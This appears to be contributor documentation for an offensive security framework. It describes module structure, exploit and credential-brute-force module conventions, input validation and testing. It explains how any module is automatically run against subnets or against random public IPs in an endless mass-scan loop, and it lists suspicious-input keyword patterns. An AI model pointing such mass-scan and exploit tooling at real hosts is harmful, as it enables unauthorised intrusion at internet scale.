3. **Name generation** — Both a *short name* (`ssh_bruteforce`) and a *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
|
||||
4. **Dispatcher emission** — Generated files are written into `OUT_DIR` (not the source tree):
|
||||
- `exploit_dispatch.rs`
|
||||
- `creds_dispatch.rs`
|
||||
- `scanner_dispatch.rs`
|
||||
- `plugins_dispatch.rs`
|
||||
- `module_registry.rs`
|
||||
|
||||
Each dispatch file contains an exhaustive `match` mapping names → `use crate::modules::...::run`. The registry file provides a unified module listing across all categories.
|
||||
5. **Shell + CLI resolution** — `use exploits/foo` or `--module foo` both resolve through the dispatcher.
|
||||
|
||||
Because it's generated at build time, there is **no manual registry drift** as long as modules live in the correct folder and export `run`.
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
|
||||
|
||||
---
|
||||
|
||||
## Project Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point — CLI or shell mode, input validation
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── api.rs # REST + WebSocket API server — PQ encryption, rate limiting
|
||||
│ ├── ws.rs # PQ-encrypted WebSocket transport (/pq/ws)
|
||||
│ ├── config.rs # Global config and target validation
|
||||
│ ├── module_info.rs # ModuleInfo, CheckResult, ModuleRank types
|
||||
│ ├── global_options.rs # Persistent global options (setg/unsetg)
|
||||
│ ├── cred_store.rs # Credential store (JSON persistence)
|
||||
│ ├── spool.rs # Console output logging
|
||||
│ ├── workspace.rs # Host/service tracking + workspaces
|
||||
│ ├── loot.rs # Loot/evidence management
|
||||
│ ├── export.rs # JSON/CSV/summary report export
|
||||
│ ├── jobs.rs # Background job management
|
||||
│ ├── mcp/
|
||||
│ │ ├── mod.rs # MCP server entry point (--mcp flag)
|
||||
│ │ ├── server.rs # JSON-RPC stdio transport with binary-safe reads
|
||||
│ │ └── tools.rs # 38 MCP tool implementations
|
||||
│ ├── commands/
|
||||
│ │ ├── mod.rs # Module discovery, fuzzy matching, multi-target dispatch
|
||||
│ │ ├── exploit.rs
|
||||
│ │ ├── scanner.rs
|
||||
│ │ └── creds.rs
|
||||
│ ├── modules/
|
||||
│ │ ├── exploits/ # Exploit modules (183 modules, 21 categories)
|
||||
│ │ ├── scanners/ # Scanner modules (27 modules)
|
||||
│ │ ├── creds/ # Credential modules (29 modules)
|
||||
│ │ └── plugins/ # Plugin modules (1 module)
|
||||
│ ├── native/ # Native integrations
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── rdp.rs # Native RDP auth (X.224, TLS, CredSSP/NTLM)
|
||||
│ │ ├── payload_engine.rs # Payload encoding/generation
|
||||
│ │ ├── url_encoding.rs # URL encoding utilities
|
||||
│ │ └── async_tls.rs # Async TLS helpers
|
||||
│ └── utils/ # Shared helpers (directory module)
|
||||
│ ├── mod.rs # Re-exports
|
||||
│ ├── prompt.rs # Config-aware prompts (cfg_prompt_*)
|
||||
│ ├── sanitize.rs # Input validation, length limits
|
||||
│ ├── target.rs # Target normalization (IPv4/IPv6/CIDR/hostname)
|
||||
│ ├── network.rs # HTTP client builders, TCP/UDP connect helpers
|
||||
│ ├── privilege.rs # Root privilege check (require_root)
|
||||
│ └── modules.rs # Module discovery helpers
|
||||
├── docs/ # This wiki
|
||||
├── lists/ # Wordlists and data files
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Required Module Signature
|
||||
|
||||
Every module **must** export:
|
||||
|
||||
```rust
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Optional: also expose `pub async fn run_interactive(target: &str) -> Result<()>` for modules with multiple code paths.
|
||||
|
||||
---
|
||||
|
||||
## Optional Module Functions
|
||||
|
||||
Modules can optionally provide metadata and vulnerability check functions. These are auto-detected by `build.rs` alongside `run()`:
|
||||
|
||||
### Module Info (`info`)
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Exploit Module".to_string(),
|
||||
description: "Exploits CVE-XXXX-YYYY in FooBar device firmware.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec![
|
||||
"CVE-XXXX-YYYY".to_string(),
|
||||
"https://example.com/advisory".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `info` shell command and `GET /api/module/{category}/{name}` endpoint display this metadata.
|
||||
|
||||
**Rank values:** `Excellent` (reliable, no crash risk), `Great`, `Good` (default), `Normal`, `Low`, `Manual`.
|
||||
|
||||
### Vulnerability Check (`check`)
|
||||
|
||||
```rust
|
||||
use crate::module_info::CheckResult;
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
// Non-destructive verification — do NOT exploit
|
||||
match test_vulnerability(target).await {
|
||||
Ok(true) => CheckResult::Vulnerable("Version 1.2.3 is affected".to_string()),
|
||||
Ok(false) => CheckResult::NotVulnerable("Patched version detected".to_string()),
|
||||
Err(e) => CheckResult::Error(format!("Check failed: {}", e)),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `check` shell command and `POST /api/check` endpoint run this without exploitation.
|
||||
|
||||
### Auto-Store Credentials and Loot
|
||||
|
||||
Modules can auto-store discovered data:
|
||||
|
||||
```rust
|
||||
// Store a found credential
|
||||
crate::cred_store::store_credential(host, port, "ssh", username, password,
|
||||
crate::cred_store::CredType::Password, "creds/generic/ssh_bruteforce");
|
||||
|
||||
// Store loot (config file, hash dump, etc.)
|
||||
crate::loot::store_loot(host, "config", "Router config dump", data.as_bytes(), "exploits/router_rce");
|
||||
|
||||
// Track a discovered host/service
|
||||
crate::workspace::track_host(ip, Some("router.local"), Some("Linux 4.x"));
|
||||
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Adding a New Module — Checklist
|
||||
|
||||
1. **Choose a location** under `src/modules/{exploits,scanners,creds}`.
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **Create the `.rs` file** with the required `pub async fn run` signature.
|
||||
3. **Register in `mod.rs`** — add `pub mod your_module;` to the sibling `mod.rs`.
|
||||
Without this, `build.rs` ignores the file.
|
||||
4. **Run `cargo check`** — the dispatcher is regenerated automatically.
|
||||
|
||||
---
|
||||
|
||||
## Module Skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use colored::Colorize;
|
||||
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_yes_no};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 80).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
println!("{} Checking {}:{}", "[*]".cyan(), target, port);
|
||||
|
||||
let url = format!("http://{}:{}/status", target, port);
|
||||
let body = reqwest::get(&url)
|
||||
.await
|
||||
.with_context(|| format!("Failed to reach {}", url))?
|
||||
.text()
|
||||
.await
|
||||
.context("Failed to read response body")?;
|
||||
|
||||
if body.contains("vulnerable") {
|
||||
println!("{} {} appears vulnerable", "[+]".green(), target);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("{} Response: {}", "[*]".cyan(), body);
|
||||
}
|
||||
println!("{} {} not vulnerable", "[-]".red(), target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output Conventions
|
||||
|
||||
| Prefix | Color | Meaning |
|
||||
|--------|-------|---------|
|
||||
| `[+]` | Green | Success / found |
|
||||
| `[-]` | Red | Not found / not vulnerable |
|
||||
| `[!]` | Yellow | Warning |
|
||||
| `[*]` | Cyan | Info / progress |
|
||||
|
||||
Use `.green()`, `.red()`, `.yellow()`, `.cyan()` from the `colored` crate. Keep messages short and actionable.
|
||||
|
||||
---
|
||||
|
||||
## Async I/O Guidelines
|
||||
|
||||
- Prefer `reqwest`, `tokio::net`, `tokio::process` for async work.
|
||||
- Wrap synchronous blocking calls with `tokio::task::spawn_blocking` (see the SSH module for reference).
|
||||
- For concurrency:
|
||||
- `tokio::sync::Semaphore` (wrapped in `Arc`) for async modules.
|
||||
- `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3).
|
||||
|
||||
---
|
||||
|
||||
## Error Handling
|
||||
|
||||
Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful messages:
|
||||
|
||||
```rust
|
||||
.with_context(|| format!("Failed to connect to {}", target))?
|
||||
```
|
||||
|
||||
Avoid `unwrap()` and `unwrap_or_default()` in critical paths.
|
||||
|
||||
---
|
||||
|
||||
## Wordlists & Resources
|
||||
|
||||
Store under `lists/` and document them in `lists/readme.md`. Reference paths relative to the working directory.
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Dispatch
|
||||
|
||||
The framework's command dispatcher (`src/commands/mod.rs`) automatically handles multiple target types for **all** modules. Module authors do not need to implement multi-target logic themselves -- the dispatcher wraps each module's `run()` function and handles:
|
||||
|
||||
- **Comma-separated targets**: `192.168.1.1,192.168.1.2,10.0.0.1` -- splits and dispatches each entry individually.
|
||||
- **CIDR subnets**: `192.168.1.0/24` -- expands the subnet and runs the module against each host IP.
|
||||
- **File-based target lists**: If the target string is a path to an existing file, each line is read and dispatched as a separate target.
|
||||
- **Random mass scan**: `0.0.0.0`, `0.0.0.0/0`, or `random` -- generates random public IPs in an infinite loop (Ctrl+C to stop).
|
||||
|
||||
This means a module that only handles a single host in its `run()` function automatically gains subnet scanning, file-based targeting, and mass-scan capability through the framework.
|
||||
|
||||
---
|
||||
|
||||
## 0.0.0.0/0 Internet-Wide Scanning
|
||||
|
||||
Modules supporting mass-scan accept `0.0.0.0`, `0.0.0.0/0`, or `random` as targets. When detected, the module enters an infinite loop generating random public IPs using:
|
||||
|
||||
```rust
|
||||
fn generate_random_public_ip() -> Ipv4Addr { ... }
|
||||
fn is_excluded_ip(ip: Ipv4Addr) -> bool { ... }
|
||||
```
|
||||
|
||||
The `EXCLUDED_RANGES` constant covers bogons, private, reserved, documentation CIDRs, and public DNS servers. Copy this pattern from an existing mass-scan module (e.g., `telnet_hose` or `hikvision_rce`).
|
||||
|
||||
Honeypot detection is disabled in mass-scan mode to avoid interactive prompts.
|
||||
@@ -0,0 +1,218 @@
|
||||
# Security & Input Validation
|
||||
|
||||
Rustsploit implements defence-in-depth throughout the codebase. All contributors must follow these patterns when writing modules or modifying core code.
|
||||
|
||||
---
|
||||
|
||||
## Validation Constants
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `sanitize.rs` | `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10 MB | Maximum file size to read |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1 MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
---
|
||||
|
||||
## Security Patterns
|
||||
|
||||
### 1. Input Length Validation
|
||||
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Input Sanitization
|
||||
|
||||
The `sanitize_string_input()` function performs multiple layers of cleaning:
|
||||
|
||||
1. **Null byte removal** -- inputs containing `\0` are rejected outright
|
||||
2. **Control character filtering** -- all control characters (except `\t`) are stripped from the input
|
||||
3. **Length enforcement** -- inputs exceeding `MAX_COMMAND_LENGTH` are rejected
|
||||
|
||||
```rust
|
||||
// Reject null bytes, then filter control characters (except tab)
|
||||
let sanitized: String = input.chars()
|
||||
.filter(|c| !c.is_control() || *c == '\t')
|
||||
.collect();
|
||||
```
|
||||
|
||||
For command-specific validation (`validate_command_input`), null bytes are stripped and length is enforced against `MAX_COMMAND_LENGTH`.
|
||||
|
||||
If suspicious patterns (`bash`, `sudo`, `../`) are detected, a warning is printed but the string is still returned unmodified:
|
||||
|
||||
```
|
||||
[!] Input contains shell/path patterns. Treated as literal text string.
|
||||
```
|
||||
|
||||
### 3. Path Traversal Prevention
|
||||
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
### 4. Target / Hostname Validation
|
||||
|
||||
Always use the framework's `normalize_target` function:
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let normalized = normalize_target(raw_target)?;
|
||||
// Handles IPv4, IPv6, hostnames, URLs, CIDR with full validation
|
||||
```
|
||||
|
||||
For custom character validation:
|
||||
```rust
|
||||
use regex::Regex;
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!("Invalid characters in target"));
|
||||
}
|
||||
```
|
||||
|
||||
### 5. Overflow Protection
|
||||
|
||||
```rust
|
||||
// Use saturating_add to prevent integer overflow
|
||||
counter = counter.saturating_add(1);
|
||||
```
|
||||
|
||||
### 6. Prompt Attempt Limiting
|
||||
|
||||
```rust
|
||||
const MAX_ATTEMPTS: u8 = 10;
|
||||
let mut attempts = 0u8;
|
||||
loop {
|
||||
attempts += 1;
|
||||
if attempts > MAX_ATTEMPTS {
|
||||
println!("Too many invalid attempts. Using default.");
|
||||
return Ok(default);
|
||||
}
|
||||
// prompt logic
|
||||
}
|
||||
```
|
||||
|
||||
### 7. File Operations
|
||||
|
||||
When reading files:
|
||||
1. Validate path does not contain `..`
|
||||
2. Use `canonicalize()` to resolve the real path
|
||||
3. Check file size before reading (ref: `MAX_FILE_SIZE`)
|
||||
4. Skip symlinks for security
|
||||
|
||||
---
|
||||
|
||||
## API Security
|
||||
|
||||
The API server (`api.rs`) implements:
|
||||
|
||||
- **`RequestBodyLimitLayer`** — prevents DoS via oversized payloads (1 MB max)
|
||||
- **Rate limiting** — 3 failed auth attempts → 30 s block per IP
|
||||
- **Auto-cleanup** — old entries purged at 100,000 entries
|
||||
- **IP tracking + key rotation** — suspicious activity triggers auto-rotation in hardening mode
|
||||
- **Secure defaults** — by default, considers `127.0.0.1` as the intended private bind
|
||||
- **WebSocket limits** — max 100 concurrent connections, 1 MiB frame cap, 30s heartbeat
|
||||
|
||||
---
|
||||
|
||||
## MCP Server Security
|
||||
|
||||
The MCP server (`mcp/server.rs`) implements:
|
||||
|
||||
- **`isolate_protocol_stdout()`** — redirects fd 1 to /dev/null so module `println!` cannot corrupt the JSON-RPC stream
|
||||
- **`MAX_LINE_BYTES`** — 1 MiB cap on incoming lines to prevent memory exhaustion
|
||||
- **Binary-safe reads** — uses `read_until()` instead of `read_line()` for no UTF-8 requirement
|
||||
- **Non-UTF-8 error handling** — returns proper JSON-RPC error responses for malformed input
|
||||
|
||||
---
|
||||
|
||||
## Spool Security
|
||||
|
||||
The spool system (`spool.rs`) implements:
|
||||
|
||||
- **`O_NOFOLLOW`** — prevents TOCTOU race conditions on symlinked spool files
|
||||
- **Parent symlink check** — rejects spool paths with symlinked parent directories
|
||||
- **Lock-first pattern** — acquires write lock before creating files to prevent orphaned files
|
||||
- **`write_line()` returns `Result`** — callers handle write failures instead of silently dropping output
|
||||
|
||||
---
|
||||
|
||||
## Privilege Checks
|
||||
|
||||
Modules requiring raw sockets call `require_root()` at startup:
|
||||
|
||||
```rust
|
||||
use crate::utils::privilege::require_root;
|
||||
require_root("ICMP raw socket")?;
|
||||
```
|
||||
|
||||
Returns a descriptive error with the current euid instead of a cryptic "permission denied" from the socket layer. Used by DoS modules, ping sweep, and raw packet scanners.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
The framework automatically runs `basic_honeypot_check` before any module execution when a target is set.
|
||||
|
||||
- Scans **200 common ports** with a 250 ms timeout each
|
||||
- If **11 or more** ports respond, warns that the target is likely a honeypot
|
||||
- Runs automatically in the shell's `run` and `run_all` commands
|
||||
- Can be called manually from module code:
|
||||
|
||||
```rust
|
||||
use crate::utils::basic_honeypot_check;
|
||||
basic_honeypot_check(&ip).await;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## IP Exclusion Ranges (`EXCLUDED_RANGES`)
|
||||
|
||||
Standard across mass-scan capable modules (e.g., `camxploit`, `telnet_hose`, `telnet_bruteforce`, exploit modules with 0.0.0.0/0 support):
|
||||
|
||||
| CIDR | Category |
|
||||
|------|----------|
|
||||
| `10.0.0.0/8` | Private |
|
||||
| `127.0.0.0/8` | Loopback |
|
||||
| `172.16.0.0/12` | Private |
|
||||
| `192.168.0.0/16` | Private |
|
||||
| `224.0.0.0/4` | Multicast |
|
||||
| `240.0.0.0/4` | Reserved |
|
||||
| `0.0.0.0/8` | This network |
|
||||
| `100.64.0.0/10` | Carrier-grade NAT |
|
||||
| `169.254.0.0/16` | Link-local |
|
||||
| `198.18.0.0/15` | Benchmarking |
|
||||
| `198.51.100.0/24` | Documentation |
|
||||
| `203.0.113.0/24` | Documentation |
|
||||
| `255.255.255.255/32` | Broadcast |
|
||||
| Public DNS | 1.1.1.1, 8.8.8.8, etc. |
|
||||
|
||||
Uses the `ipnetwork` crate for proper CIDR matching.
|
||||
|
||||
---
|
||||
|
||||
## Persistent Storage Security
|
||||
|
||||
All persistent data uses atomic write-to-temp-then-rename to prevent corruption:
|
||||
|
||||
| File | Purpose | Sensitivity |
|
||||
|------|---------|-------------|
|
||||
| `~/.rustsploit/global_options.json` | Global options (setg) | Low — user preferences |
|
||||
| `~/.rustsploit/creds.json` | Discovered credentials | **High — contains passwords/hashes** |
|
||||
| `~/.rustsploit/workspaces/<name>.json` | Hosts, services, notes | Medium — engagement data |
|
||||
| `~/.rustsploit/loot_index.json` | Loot metadata | Medium |
|
||||
| `~/.rustsploit/loot/` | Loot files | **High — may contain sensitive data** |
|
||||
| `~/.rustsploit/results/` | Module output files | Medium |
|
||||
| `~/.rustsploit/history.txt` | Shell command history | Medium |
|
||||
|
||||
**Important:** The `creds.json` and `loot/` files may contain sensitive data. Protect `~/.rustsploit/` with appropriate file permissions (e.g., `chmod 700`).
|
||||
@@ -0,0 +1,160 @@
|
||||
# Testing & QA
|
||||
|
||||
Guidelines for verifying that new modules and framework changes are correct.
|
||||
|
||||
---
|
||||
|
||||
## Static Checks
|
||||
|
||||
Run before every commit or PR:
|
||||
|
||||
```bash
|
||||
# Format code
|
||||
cargo fmt
|
||||
|
||||
# Lint (use where available)
|
||||
cargo clippy
|
||||
|
||||
# Compile check (fast, no linking)
|
||||
cargo check
|
||||
```
|
||||
|
||||
A clean `cargo check` with **0 errors and 0 warnings** is required. The current codebase (all 240 modules) passes this check cleanly.
|
||||
|
||||
---
|
||||
|
||||
## Build Verification
|
||||
|
||||
```bash
|
||||
cargo build
|
||||
```
|
||||
|
||||
`build.rs` regenerates the dispatchers (`exploit_dispatch.rs`, `scanner_dispatch.rs`, `creds_dispatch.rs`, `plugins_dispatch.rs`, `module_registry.rs`) into `OUT_DIR` during compilation. All 240 modules (183 exploits, 27 scanners, 29 creds, 1 plugin) are auto-discovered and dispatched by `build.rs`. If a new module fails to register, ensure `pub mod your_module;` is present in the sibling `mod.rs`.
|
||||
|
||||
---
|
||||
|
||||
## Runtime Smoke Tests
|
||||
|
||||
### Shell
|
||||
```bash
|
||||
cargo run
|
||||
# Inside the shell:
|
||||
modules # Verify new module appears in list
|
||||
find <keyword> # Verify keyword search works
|
||||
u scanners/sample_scanner
|
||||
set target 127.0.0.1
|
||||
go # Runs the sample scanner against localhost
|
||||
```
|
||||
|
||||
### CLI
|
||||
```bash
|
||||
cargo run -- -m scanners/sample_scanner -t 127.0.0.1
|
||||
cargo run -- --list-modules # Verify your module is listed
|
||||
```
|
||||
|
||||
### API
|
||||
```bash
|
||||
# Start the server
|
||||
cargo run -- --api
|
||||
|
||||
# Verify server starts (module listing requires PQ WebSocket session)
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Unit Tests
|
||||
|
||||
Run all unit tests:
|
||||
```bash
|
||||
cargo test
|
||||
```
|
||||
|
||||
Module-level tests can be added inline:
|
||||
|
||||
```rust
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_parse_response() {
|
||||
let output = parse_response(b"some payload");
|
||||
assert!(output.is_some());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
For async tests:
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn test_async_behavior() {
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Wordlist Validation
|
||||
|
||||
Before adding a module that depends on wordlists:
|
||||
1. Confirm the file exists under `lists/`
|
||||
2. Reference the path in docstrings or `lists/readme.md`
|
||||
3. Validate it is non-empty at runtime and handle the empty case gracefully
|
||||
|
||||
---
|
||||
|
||||
## Framework Feature Smoke Tests
|
||||
|
||||
After modifying framework features, verify these work:
|
||||
|
||||
```bash
|
||||
# Shell smoke test
|
||||
cargo run
|
||||
# Inside shell:
|
||||
info exploits/sample_exploit # Should display module metadata
|
||||
setg port 8080 # Set global option
|
||||
show options # Should show port=8080
|
||||
unsetg port # Remove it
|
||||
creds # Should show empty cred store
|
||||
hosts # Should show empty host list
|
||||
workspace # Should show "default" workspace
|
||||
loot # Should show empty loot
|
||||
jobs # Should show no jobs
|
||||
spool /tmp/test.log # Start console logging
|
||||
spool off # Stop logging
|
||||
export json /tmp/test.json # Should create JSON file
|
||||
```
|
||||
|
||||
```bash
|
||||
# API smoke test — verify server starts and health endpoint responds
|
||||
cargo run -- --api
|
||||
curl http://localhost:8080/health
|
||||
# All other endpoints require a PQ WebSocket session — see API-Server.md
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Regression Notes
|
||||
|
||||
| Area | What to verify |
|
||||
|------|----------------|
|
||||
| New cred module | Correct concurrency model, DNS resolved once (not per attempt) |
|
||||
| New exploit | Response validated before declaring success, artifacts written to CWD |
|
||||
| New scanner | Outputs parseable results, status codes filtered correctly |
|
||||
| Mass-scan module | `EXCLUDED_RANGES` applied, no private/bogon IPs targeted |
|
||||
| API change | `cargo check` clean, endpoint documented in [API Server](API-Server.md) |
|
||||
| Utils change | All prompt helpers still compile, no dead code warnings |
|
||||
| Module with `info()` | Build generates info_dispatch entry, `info` command displays metadata |
|
||||
| Module with `check()` | Build generates check_dispatch entry, `check` command runs verification |
|
||||
| Global options change | JSON file updated atomically, `cfg_prompt_*` respects priority chain |
|
||||
| Workspace change | JSON saved on modification, workspace switch preserves data |
|
||||
| Cred store change | JSON persistence works, search returns correct results |
|
||||
|
||||
---
|
||||
|
||||
## Known Disabled / Stubbed Code
|
||||
|
||||
| Module | Status | Reason |
|
||||
|--------|--------|--------|
|
||||
| `scanners/dns_recursion` | ✅ Fixed | Rewritten for hickory-client v0.25 (`AsyncClient` → `Client`, builder pattern + `TokioRuntimeProvider`) |
|
||||
@@ -0,0 +1,744 @@
|
||||
# Utilities & Helpers
|
||||
|
||||
Rustsploit provides several utility modules that every module developer should know:
|
||||
|
||||
| Module | Import Path | Purpose |
|
||||
|--------|-------------|---------|
|
||||
| **Core Utils** | `crate::utils` | Target normalization, file loading, config-aware prompts, input validation |
|
||||
| **Network Utils** | `crate::utils::network` | HTTP client builders, TCP/UDP connect helpers, honeypot check |
|
||||
| **Privilege Utils** | `crate::utils::privilege` | Root privilege check for raw-socket modules |
|
||||
| **Creds Utils** | `crate::modules::creds::utils` | Bruteforce statistics, subnet helpers, IP exclusion, scan state tracking |
|
||||
| **Config** | `crate::config` | Global target state, module config, API prompt keys, results directory |
|
||||
| **Global Options** | `crate::global_options` | Persistent `setg` options — checked by `cfg_prompt_*` after custom_prompts |
|
||||
| **Cred Store** | `crate::cred_store` | Store/query discovered credentials. Call `store_credential()` from modules |
|
||||
| **Workspace** | `crate::workspace` | Track hosts/services. Call `track_host()` / `track_service()` from modules |
|
||||
| **Loot** | `crate::loot` | Store collected evidence. Call `store_loot()` from modules |
|
||||
| **Module Info** | `crate::module_info` | `ModuleInfo`, `ModuleRank`, `CheckResult` types for `info()`/`check()` |
|
||||
| **Spool** | `crate::spool` | Console output logging. Call `spool::sprintln()` for spool-aware output |
|
||||
| **Jobs** | `crate::jobs` | Background job management via `JOB_MANAGER` |
|
||||
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
|
||||
|
||||
---
|
||||
|
||||
## `crate::utils` — Core Utilities
|
||||
|
||||
### `load_lines(path) → Result<Vec<String>>`
|
||||
|
||||
Reads a file line-by-line, trims whitespace, and drops empty lines. The standard way to load wordlists, username files, or any line-delimited input.
|
||||
|
||||
```rust
|
||||
use crate::utils::load_lines;
|
||||
|
||||
let passwords = load_lines("passwords.txt")?;
|
||||
for pw in &passwords {
|
||||
// each entry is trimmed, non-empty
|
||||
}
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `path` | `impl AsRef<Path>` | Path to the file to read |
|
||||
|
||||
**Returns:** `Vec<String>` of non-empty, trimmed lines. Errors if the file cannot be opened.
|
||||
|
||||
---
|
||||
|
||||
### `normalize_target(raw) → Result<String>`
|
||||
|
||||
Comprehensive target normalization and validation. This is the **single entry point** for converting any user-supplied target into a consistent format.
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
let target = normalize_target(user_input)?;
|
||||
// target is now in one of:
|
||||
// "192.168.1.1" (IPv4)
|
||||
// "192.168.1.1:8080" (IPv4 + port)
|
||||
// "[::1]" (IPv6)
|
||||
// "[::1]:8080" (IPv6 + port)
|
||||
// "example.com" (hostname)
|
||||
// "192.168.1.0/24" (CIDR)
|
||||
```
|
||||
|
||||
| Input Format | Example |
|
||||
|--------------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` → extracts `example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
**Security:** Validates against DoS-length abuse (max 2048 chars), control characters, and path traversal patterns (`..`, `//`).
|
||||
|
||||
---
|
||||
|
||||
### Config-Aware Prompt Wrappers (`cfg_prompt_*`)
|
||||
|
||||
These are the **recommended prompts for module authors**. They check `ModuleConfig.custom_prompts` first (populated by the API), falling back to interactive stdin when running in shell mode. This makes your module work seamlessly in both shell and API modes.
|
||||
|
||||
#### `cfg_prompt_required(key, msg) → Result<String>`
|
||||
|
||||
Required string prompt with no default. In API mode, errors if the key is missing from `custom_prompts`. Priority: custom_prompts > run_context target (for "target" key) > global_options > interactive stdin.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_required;
|
||||
|
||||
let community = cfg_prompt_required("community", "SNMP community string").await?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_yes_no(key, msg, default_yes) → Result<bool>`
|
||||
|
||||
Boolean prompt. Accepts `y/yes/true/1` and `n/no/false/0`.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Enable verbose output?", false)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Lookup key in `ModuleConfig.custom_prompts` |
|
||||
| `msg` | `&str` | Prompt message shown to user in shell mode |
|
||||
| `default_yes` | `bool` | Default when input is empty or key absent in API mode |
|
||||
|
||||
---
|
||||
|
||||
#### `cfg_prompt_existing_file(key, msg) → Result<String>`
|
||||
|
||||
Prompts for a file path. Validates the file exists, rejects path traversal (`..`), symlinks, and control characters.
|
||||
|
||||
```rust
|
||||
use crate::utils::cfg_prompt_existing_file;
|
||||
|
||||
let wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file")?;
|
||||
let lines = load_lines(&wordlist)?;
|
||||
```
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `key` | `&str` | Prompt key for API mode |
|
||||
| `msg` | `&str` | Interactive prompt message |
|
||||
|
||||
**Errors** in API mode if key is missing (required field).
|
||||
|
||||
---
